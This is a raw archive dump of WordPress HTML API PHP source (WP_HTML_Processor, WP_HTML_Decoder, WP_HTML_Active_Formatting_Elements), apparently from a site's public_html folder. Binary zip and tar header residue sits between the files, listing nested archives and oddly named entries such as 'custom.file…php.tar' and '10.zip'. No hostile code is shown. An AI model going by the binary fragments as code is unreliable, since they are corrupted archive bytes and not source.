	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\6��-���Gerror_log.tar.gznu�[���PKgN\T7��[["�Tclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#bZclass-wp-html-tag-processor.php.tarnu�[���PKgN\��%JJ
��index.php.tarnu�[���PKgN\�Wy%�class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-G
class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d:index.php.php.tar.gznu�[���PKgN\��|Kb�b�*'uclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��
class-wp-html-token.php.tarnu�[���PKgN\�l{<����	."error_lognu�[���PKgN\�A�&�class-wp-html-text-replacement.php.tarnu�[���PKE�N\�V2HHJclass-wp-html-decoder.php.tarnu�[���PKE�N\Գ�$$0�Zclass-wp-html-active-formatting-elements.php.tarnu�[���PKE�N\�J���7�~class-wp-html-active-formatting-elements.php.php.tar.gznu�[���PKE�N\��)�+,�class-wp-html-unsupported-exception.php.tarnu�[���PKE�N\�)�|cc$��class-wp-html-decoder.php.php.tar.gznu�[���PKE�N\�jZ�
�
>�10.tarnu�[���PKE�N\�`��

 t9custom.file.4.1766663904.php.tarnu�[���PKE�N\y��jj"�Cclass-wp-html-doctype-info.php.tarnu�[���PKE�N\��gnn/�html5-named-character-references.php.php.tar.gznu�[���PKE�N\�K]Ƴ�*�class-wp-html-open-elements.php.php.tar.gznu�[���PKE�N\TFė@@(�/html5-named-character-references.php.tarnu�[���PKE�N\s*���2�oclass-wp-html-unsupported-exception.php.php.tar.gznu�[���PKE�N\�N���)Huclass-wp-html-doctype-info.php.php.tar.gznu�[���PKE�N\حHG�G�&��class-wp-html-processor.php.php.tar.gznu�[���PKE�N\��U�^^#<'class-wp-html-open-elements.php.tarnu�[���PKE�N\�Ov���	��10.tar.gznu�[���PKE�N\�N[����M�10.zipnu�[���PKE�N\���HH.Q%class-wp-html-processor.php.tarnu�[���PK�}�(class-wp-html-decoder.php.tar000064400000044000151442221670012142 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-decoder.php000064400000040464151440301140022355 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
class-wp-html-active-formatting-elements.php.tar000064400000022000151442221670015766 0ustar00home/homerdlh/public_html/wp-includes/html-api/class-wp-html-active-formatting-elements.php000064400000016140151440304300026200 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
